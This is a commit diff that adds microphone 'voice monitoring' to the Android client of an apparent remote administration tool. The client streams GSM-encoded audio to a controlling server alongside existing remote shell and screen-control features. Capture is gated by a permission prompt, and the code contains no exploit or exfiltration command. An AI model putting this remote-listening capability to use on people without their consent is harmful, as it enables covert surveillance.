Feature: Support voice monitoring on Android hosts
The master's voice monitoring menu sends COMMAND_AUDIO; the client opens a ConnAuth sub-connection with TOKEN_AUDIO_START, the server opens CAudioDlg and answers COMMAND_NEXT, then audio flows both ways. The protocol matches the Windows client, so the server needs no changes. The server's ACM format was read from Audio.cpp and AudioDlg.cpp first: WAVE_FORMAT_GSM610, 8000 Hz mono, 65-byte blocks of 320 samples (40 ms), about 1625 B/s. libgsm 1.0.13 (AOSP external/libgsm mirror) is vendored under cpp/gsm and built with -DSASR -DWAV49 so its MS-GSM packing is byte-identical to ACM GSM610. Encode and decode use separate gsm states because frame_index/frame_chain live in the state. Uplink packets are always exactly 1000 bytes: CAudio::PlayBuffer copies 1000 bytes from the buffer start regardless of packet length, so a short packet would over-read. Since 1000 is not a multiple of 65, blocks straddle packets; the stream is continuous and codec state carries over. AudioMonitor.kt owns AudioRecord (8 kHz/16-bit/mono, 320 samples a read) and AudioTrack playback of decoded downlink PCM. RECORD_AUDIO is requested with POST_NOTIFICATIONS before the projection dialog, and CaptureService adds the microphone FGS type only when held, falling back on failure. An 8-second dialog wait or missing microphone reports a tip to the master instead of failing silently. Verified on an Android 15 emulator against the Debug server: dialog opened, uplink started, server receive counter grew at ~1.6 KB/s. Downlink playback was not exercised (the test machine has no recording device); that path is code-reviewed only. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
3ab5154db1
commit
4aedca8ee0
31 files changed
+4979
-22
No files matched your search
@@ -26,6 +26,7 @@
|
||||
#include "client/IOCPClient.h"
|
||||
#include "ScreenHandler.h"
|
||||
#include "ChatHandler.h"
|
||||
#include "AudioHandler.h"
|
||||
#include "common/PTYHandler.h" // 远程终端(COMMAND_SHELL):与 Linux/macOS 共用 PTY 实现
|
||||
#define XXH_INLINE_ALL
|
||||
#include "common/xxhash.h"
|
||||
@@ -260,6 +261,11 @@ static jmethodID g_onQualityProfilesMid = nullptr; // ScreenTuning.onQualityPr
|
||||
// ChatSession(远程交谈界面:帧入站文本、发送按钮)
|
||||
static jclass g_chatClass = nullptr;
|
||||
static jmethodID g_chatEventMid = nullptr; // ChatSession.onNativeEvent(I[B)V
|
||||
// AudioMonitor(语音监听:AudioRecord 采集 / AudioTrack 播放)
|
||||
static jclass g_audioClass = nullptr;
|
||||
static jmethodID g_audioStartMid = nullptr; // AudioMonitor.start()Z
|
||||
static jmethodID g_audioStopMid = nullptr; // AudioMonitor.stop()V
|
||||
static jmethodID g_audioPcmMid = nullptr; // AudioMonitor.onPcm([S)V
|
||||
// ScreenShot(无障碍 takeScreenshot 抓屏,MCP get_screenshot 用)
|
||||
static jclass g_shotClass = nullptr;
|
||||
static jmethodID g_shotCanMid = nullptr; // ScreenShot.canCapture()Z
|
||||
@@ -390,6 +396,76 @@ void DispatchChatEvent(int kind, const uint8_t* data, size_t size)
|
||||
if (attached) g_jvm->DetachCurrentThread();
|
||||
}
|
||||
|
||||
// 语音监听:native 子连接解码出 PCM → AudioMonitor.onPcm(入 AudioTrack 播放)。
|
||||
// 与 DispatchChatEvent 同一套 attach/detach 套路,供 AndroidAudioHandler::OnReceive 调用。
|
||||
void DispatchAudioPcm(const int16_t* samples, size_t count)
|
||||
{
|
||||
if (!g_jvm || !g_audioClass || !g_audioPcmMid || !samples || !count) return;
|
||||
JNIEnv* jenv = nullptr;
|
||||
bool attached = false;
|
||||
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
|
||||
if (st == JNI_EDETACHED) {
|
||||
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
|
||||
attached = true;
|
||||
} else if (st != JNI_OK || !jenv) {
|
||||
return;
|
||||
}
|
||||
jshortArray arr = jenv->NewShortArray((jsize)count);
|
||||
if (arr) {
|
||||
jenv->SetShortArrayRegion(arr, 0, (jsize)count, (const jshort*)samples);
|
||||
if (!jenv->ExceptionCheck()) {
|
||||
jenv->CallStaticVoidMethod(g_audioClass, g_audioPcmMid, arr);
|
||||
}
|
||||
if (jenv->ExceptionCheck()) jenv->ExceptionClear();
|
||||
jenv->DeleteLocalRef(arr);
|
||||
} else {
|
||||
if (jenv->ExceptionCheck()) jenv->ExceptionClear();
|
||||
}
|
||||
if (attached) g_jvm->DetachCurrentThread();
|
||||
}
|
||||
|
||||
// 开始采集:AudioMonitor.start() 内部检查 RECORD_AUDIO、建 AudioRecord/AudioTrack。
|
||||
// 返回 false(没权限 / 设备没有麦克风)时调用方回报服务端并放弃本次会话。
|
||||
static bool StartJavaAudio()
|
||||
{
|
||||
if (!g_jvm || !g_audioClass || !g_audioStartMid) {
|
||||
LOGE("AUDIO: JNI not ready (cls=%p start=%p)", g_audioClass, g_audioStartMid);
|
||||
return false;
|
||||
}
|
||||
JNIEnv* jenv = nullptr;
|
||||
bool attached = false;
|
||||
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
|
||||
if (st == JNI_EDETACHED) {
|
||||
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return false;
|
||||
attached = true;
|
||||
} else if (st != JNI_OK || !jenv) {
|
||||
return false;
|
||||
}
|
||||
jboolean ok = jenv->CallStaticBooleanMethod(g_audioClass, g_audioStartMid);
|
||||
if (jenv->ExceptionCheck()) { jenv->ExceptionClear(); ok = JNI_FALSE; }
|
||||
if (attached) g_jvm->DetachCurrentThread();
|
||||
return ok == JNI_TRUE;
|
||||
}
|
||||
|
||||
// 停止采集/播放并回收 AudioRecord/AudioTrack(Kotlin 侧会 join 采集线程,
|
||||
// 返回后不会再回调 nativeAudioSendPcm)
|
||||
static void StopJavaAudio()
|
||||
{
|
||||
if (!g_jvm || !g_audioClass || !g_audioStopMid) return;
|
||||
JNIEnv* jenv = nullptr;
|
||||
bool attached = false;
|
||||
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
|
||||
if (st == JNI_EDETACHED) {
|
||||
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
|
||||
attached = true;
|
||||
} else if (st != JNI_OK || !jenv) {
|
||||
return;
|
||||
}
|
||||
jenv->CallStaticVoidMethod(g_audioClass, g_audioStopMid);
|
||||
if (jenv->ExceptionCheck()) jenv->ExceptionClear();
|
||||
if (attached) g_jvm->DetachCurrentThread();
|
||||
}
|
||||
|
||||
// 锁屏:服务端下发 COMMAND_SCREEN_CTRL_ALT_DEL(Android 无此组合键,映射为
|
||||
// GLOBAL_ACTION_LOCK_SCREEN)。与 DispatchClipboardText 同一套 attach/detach 套路。
|
||||
void DispatchLockScreen()
|
||||
@@ -920,6 +996,80 @@ static void ChatThread()
|
||||
LOGI("ChatThread exit");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 语音监听
|
||||
// 服务端 COMMAND_AUDIO(主控「语音监听」)→ 子连接 + 首包 TOKEN_AUDIO_START →
|
||||
// CAudioDlg 弹窗后回 COMMAND_NEXT → Kotlin 侧开 AudioRecord 采集(GSM 6.10/WAV49
|
||||
// 上行);主控勾选「发送语音」后下行是裸 GSM 流。协议细节见 AudioHandler.h。
|
||||
// 同一时刻只允许一个会话:服务端菜单重复点击/多主控会再发 COMMAND_AUDIO,
|
||||
// 第二个子连接会被服务端当重复子连接吸收,这里直接忽略。
|
||||
static std::atomic<bool> g_audioInFlight{false};
|
||||
static std::mutex g_audioMx;
|
||||
static AndroidAudioHandler* g_audioHandler = nullptr;
|
||||
|
||||
static void sendClientMsg(const char* title, const char* text); // 定义在下方的在线升级段
|
||||
|
||||
static void AudioThread()
|
||||
{
|
||||
// detached 线程:异常逃出去会 std::terminate;在途标志必须无条件还回去
|
||||
struct InFlightGuard {
|
||||
~InFlightGuard() { g_audioInFlight.store(false); }
|
||||
} guard;
|
||||
|
||||
LOGI("AudioThread start → %s:%d", g_serverIp.c_str(), g_serverPort);
|
||||
std::unique_ptr<IOCPClient> client;
|
||||
std::unique_ptr<AndroidAudioHandler> handler;
|
||||
bool started = false;
|
||||
try {
|
||||
client = std::make_unique<IOCPClient>(g_bExit, true);
|
||||
client->EnableSubConnAuth(true, g_myClientID);
|
||||
// 与屏幕/日志/交谈子连接一致:必须继承配置的传输方式(WS/WSS 部署)
|
||||
client->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType);
|
||||
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
|
||||
LOGE("AudioThread: connect failed");
|
||||
return;
|
||||
}
|
||||
// 构造即发 TOKEN_AUDIO_START;服务端 CAudioDlg 打开后回单字节 COMMAND_NEXT
|
||||
handler = std::make_unique<AndroidAudioHandler>(client.get());
|
||||
client->setManagerCallBack(handler.get(),
|
||||
IOCPManager::DataProcess,
|
||||
IOCPManager::ReconnectProcess);
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_audioMx);
|
||||
g_audioHandler = handler.get();
|
||||
}
|
||||
if (!handler->WaitDialogOpen(8000)) {
|
||||
// Windows 客户端同样等 8 秒;超时说明服务端没接管(老服务端/对话框被关)
|
||||
LOGE("AudioThread: server dialog did not open within 8s");
|
||||
sendClientMsg("Audio monitor", "The audio dialog did not open on the server");
|
||||
} else if (!StartJavaAudio()) {
|
||||
// 常见原因:用户没给 RECORD_AUDIO,或设备没有可用麦克风
|
||||
LOGE("AudioThread: AudioRecord unavailable (RECORD_AUDIO not granted?)");
|
||||
sendClientMsg("Audio monitor",
|
||||
"Microphone unavailable: RECORD_AUDIO permission is not granted");
|
||||
} else {
|
||||
started = true;
|
||||
while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(200);
|
||||
LOGI("AudioThread: sub-conn closed");
|
||||
}
|
||||
} catch (const std::exception& e) {
|
||||
LOGE("AudioThread exception: %s", e.what());
|
||||
}
|
||||
// 先停采集(join 采集线程,保证不再回调 nativeAudioSendPcm),再摘掉全局指针,
|
||||
// 最后断开回调,让 handler 析构时没有任何线程还能碰它
|
||||
if (started) StopJavaAudio();
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_audioMx);
|
||||
g_audioHandler = nullptr;
|
||||
}
|
||||
if (client) client->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
// 局部变量按声明逆序析构(handler 先于 client),而 IOCPClient 的析构才会等待
|
||||
// 接收线程退出。显式先销毁连接,避免接收线程正卡在 OnReceive 里时 handler 已被释放。
|
||||
client.reset();
|
||||
handler.reset();
|
||||
LOGI("AudioThread exit");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 远程终端
|
||||
// 服务端 COMMAND_SHELL → 子连接 → 首包 TOKEN_TERMINAL_START → 服务端接管后发
|
||||
// CMD_TERMINAL_RESIZE + COMMAND_NEXT → PTY 读线程开始回传 shell 输出。
|
||||
@@ -1389,6 +1539,23 @@ int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_AUDIO: {
|
||||
// 语音监听(主控菜单「语音监听」):子连接 + 上行 GSM 6.10。需要 RECORD_AUDIO;
|
||||
// 没有权限时 StartJavaAudio 失败,回报服务端而不是静默无声。
|
||||
if (g_audioInFlight.exchange(true)) {
|
||||
LOGI("cmd: COMMAND_AUDIO ignored (audio session already in flight)");
|
||||
break;
|
||||
}
|
||||
LOGI("cmd: COMMAND_AUDIO → audio sub-conn");
|
||||
try {
|
||||
std::thread(AudioThread).detach();
|
||||
} catch (const std::exception& e) {
|
||||
g_audioInFlight.store(false);
|
||||
LOGE("Audio thread failed: %s", e.what());
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_CONTROL: {
|
||||
if (ulLength < 1 + 48u) { LOGI("SCREEN_CONTROL(main): too short %u", ulLength); break; }
|
||||
const uint8_t* p = szBuffer + 1;
|
||||
@@ -1888,6 +2055,23 @@ Java_com_yama_client_YamaBridge_nativeInit(
|
||||
} else {
|
||||
LOGE("ChatSession class not found");
|
||||
}
|
||||
// 语音监听:AudioMonitor 的启停与下行 PCM 回调
|
||||
jclass audioCls = env->FindClass("com/yama/client/AudioMonitor");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); audioCls = nullptr; }
|
||||
if (audioCls) {
|
||||
g_audioClass = (jclass)env->NewGlobalRef(audioCls);
|
||||
g_audioStartMid = env->GetStaticMethodID(g_audioClass, "start", "()Z");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_audioStartMid = nullptr; }
|
||||
if (!g_audioStartMid) LOGE("AudioMonitor.start not found");
|
||||
g_audioStopMid = env->GetStaticMethodID(g_audioClass, "stop", "()V");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_audioStopMid = nullptr; }
|
||||
if (!g_audioStopMid) LOGE("AudioMonitor.stop not found");
|
||||
g_audioPcmMid = env->GetStaticMethodID(g_audioClass, "onPcm", "([S)V");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_audioPcmMid = nullptr; }
|
||||
if (!g_audioPcmMid) LOGE("AudioMonitor.onPcm not found");
|
||||
} else {
|
||||
LOGE("AudioMonitor class not found");
|
||||
}
|
||||
// 远程桌面画质/帧率协商:ScreenTuning 的读写入口(见本文件上方的说明)
|
||||
jclass tuningCls = env->FindClass("com/yama/client/ScreenTuning");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); tuningCls = nullptr; }
|
||||
@@ -1971,6 +2155,23 @@ Java_com_yama_client_YamaBridge_nativeChatSend(JNIEnv* env, jobject, jbyteArray
|
||||
return ok ? JNI_TRUE : JNI_FALSE;
|
||||
}
|
||||
|
||||
// AudioMonitor 采集线程每读一次 PCM 调一次(8kHz/16bit/单声道,长度任意)。
|
||||
// 这里只做搬运动作:攒够 160 采样交给 libgsm 编码,满 1000 字节发一个 TOKEN_AUDIO_DATA。
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeAudioSendPcm(JNIEnv* env, jobject, jshortArray samples)
|
||||
{
|
||||
if (!samples) return;
|
||||
const jsize len = env->GetArrayLength(samples);
|
||||
// 采集端一次读 320 采样(40ms);给异常调用留 1 秒上限,超了直接丢
|
||||
if (len <= 0 || len > 8000) return;
|
||||
std::lock_guard<std::mutex> lk(g_audioMx);
|
||||
if (!g_audioHandler) return;
|
||||
jshort* buf = env->GetShortArrayElements(samples, nullptr);
|
||||
if (!buf) return;
|
||||
g_audioHandler->SendPcm((const int16_t*)buf, (size_t)len);
|
||||
env->ReleaseShortArrayElements(samples, buf, JNI_ABORT);
|
||||
}
|
||||
|
||||
// 由 CaptureService 在 MediaCodec 配置完成后调用,告知 C++ 侧实际捕获尺寸
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeSetScreenSize(JNIEnv*, jobject, jint width, jint height)
|
||||
|
||||
Reference in new issue
Block a user